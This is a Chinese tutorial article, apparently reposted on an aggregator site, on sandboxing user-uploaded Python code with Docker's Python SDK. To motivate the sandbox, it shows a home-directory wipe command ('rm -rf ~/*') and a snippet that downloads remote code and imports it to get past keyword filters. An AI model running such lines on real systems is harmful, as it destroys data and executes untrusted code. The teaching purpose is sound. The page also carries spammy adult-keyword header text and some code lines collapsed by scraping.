AVt天堂网 手机版,亚洲va久久久噜噜噜久久4399,天天综合亚洲色在线精品,亚洲一级Av无码毛片久久精品

當(dāng)前位置:首頁(yè) > 科技  > 軟件

一日一技:如何安全運(yùn)行別人上傳的Python代碼?

來(lái)源: 責(zé)編: 時(shí)間:2023-10-29 21:45:48 321觀看
導(dǎo)讀寫后端的同學(xué),有時(shí)候需要在網(wǎng)站上實(shí)現(xiàn)一個(gè)功能,讓用戶上傳或者編寫自己的Python代碼。后端再運(yùn)行這些代碼。涉及到用戶自己上傳代碼,我們第一個(gè)想到的問(wèn)題,就是如何避免用戶編寫危險(xiǎn)命令。如果用戶的代碼里面涉及到下面兩

寫后端的同學(xué),有時(shí)候需要在網(wǎng)站上實(shí)現(xiàn)一個(gè)功能,讓用戶上傳或者編寫自己的Python代碼。后端再運(yùn)行這些代碼。SKT28資訊網(wǎng)——每日最新資訊28at.com

涉及到用戶自己上傳代碼,我們第一個(gè)想到的問(wèn)題,就是如何避免用戶編寫危險(xiǎn)命令。如果用戶的代碼里面涉及到下面兩行,在不做任何安全過(guò)濾的情況下,就會(huì)導(dǎo)致服務(wù)器的Home文件夾被清空。SKT28資訊網(wǎng)——每日最新資訊28at.com

import osos.system('rm -rf ~/*')

有人想的比較簡(jiǎn)單,直接判斷用戶的代碼里面有沒(méi)有os.system、exec、subprocess……這些危險(xiǎn)關(guān)鍵詞不就可以了嗎?SKT28資訊網(wǎng)——每日最新資訊28at.com

這種想法乍看起來(lái)沒(méi)有問(wèn)題,但細(xì)想下,就會(huì)發(fā)現(xiàn)非常天真。如果用戶的代碼像下面這樣寫,你又要如何應(yīng)對(duì)?SKT28資訊網(wǎng)——每日最新資訊28at.com

import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f:    f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code對(duì)應(yīng)的代碼如下:SKT28資訊網(wǎng)——每日最新資訊28at.com

import osdef delete_all():    os.system('rm -rf ~/*')

這樣就可以繞過(guò)關(guān)鍵字檢查,并成功刪除你的文件了。SKT28資訊網(wǎng)——每日最新資訊28at.com

如果你的網(wǎng)站本身就是一個(gè)爬蟲(chóng)管理平臺(tái),你檢查用戶自定義的代碼時(shí),肯定不能過(guò)濾掉requests這種網(wǎng)絡(luò)請(qǐng)求庫(kù)。那么你就很難判斷用戶下載下來(lái)的東西是否包含惡意代碼。SKT28資訊網(wǎng)——每日最新資訊28at.com

而且惡意代碼不一定是刪除你的東西,它完全可以直接把你項(xiàng)目下面的所有代碼打包,上傳到它指定的URL中,這樣就能竊取你網(wǎng)站里面所有代碼。SKT28資訊網(wǎng)——每日最新資訊28at.com

為了避免這樣的情況發(fā)生,我們就必須找一個(gè)干凈又獨(dú)立的環(huán)境來(lái)運(yùn)行用戶的代碼。干凈的環(huán)境能確保惡意代碼沒(méi)有東西可以偷,獨(dú)立的環(huán)境能確保他即使刪除了所有文件,也不會(huì)影響到你。SKT28資訊網(wǎng)——每日最新資訊28at.com

顯然,最簡(jiǎn)單直接的辦法,就是使用Docker來(lái)運(yùn)行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來(lái)實(shí)現(xiàn)構(gòu)建鏡像和運(yùn)行鏡像。SKT28資訊網(wǎng)——每日最新資訊28at.com

首先,確保你的服務(wù)器上面已經(jīng)有Docker,并且正在運(yùn)行。接下來(lái),安裝Docker SDK:SKT28資訊網(wǎng)——每日最新資訊28at.com

pip install docker

假設(shè),你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面,那么,首先你需要生成一個(gè)Dockerfile,并把這個(gè)Dockerfile放到upload文件夾中:SKT28資訊網(wǎng)——每日最新資訊28at.com

from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app

當(dāng)用戶添加/修改了第三方庫(kù)時(shí),你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。SKT28資訊網(wǎng)——每日最新資訊28at.com

接下來(lái),我們開(kāi)始構(gòu)建鏡像并運(yùn)行代碼:SKT28資訊網(wǎng)——每日最新資訊28at.com

import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數(shù))

這個(gè)代碼運(yùn)行以后是非阻塞的,會(huì)立刻返回container對(duì)象。當(dāng)你想查看代碼日志時(shí),執(zhí)行:SKT28資訊網(wǎng)——每日最新資訊28at.com

container.logs(tail=10) # 顯示最后10行日志

就可以看到相關(guān)的日志了。SKT28資訊網(wǎng)——每日最新資訊28at.com

關(guān)于Docker SDK的更多操作,可以看他的官方文檔:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]SKT28資訊網(wǎng)——每日最新資訊28at.com

參考資料

[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-pythonSKT28資訊網(wǎng)——每日最新資訊28at.com

本文鏈接:http://www.tebozhan.com/showinfo-26-15610-0.html一日一技:如何安全運(yùn)行別人上傳的Python代碼?

聲明:本網(wǎng)頁(yè)內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問(wèn)題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。郵件:2376512515@qq.com

上一篇: 多模態(tài)LLM幻覺(jué)問(wèn)題降低30%!業(yè)內(nèi)首個(gè)“啄木鳥(niǎo)”免重訓(xùn)方法誕生

下一篇: 用示例和應(yīng)用程序了解必要的Golang庫(kù)

標(biāo)簽:
  • 熱門焦點(diǎn)
Top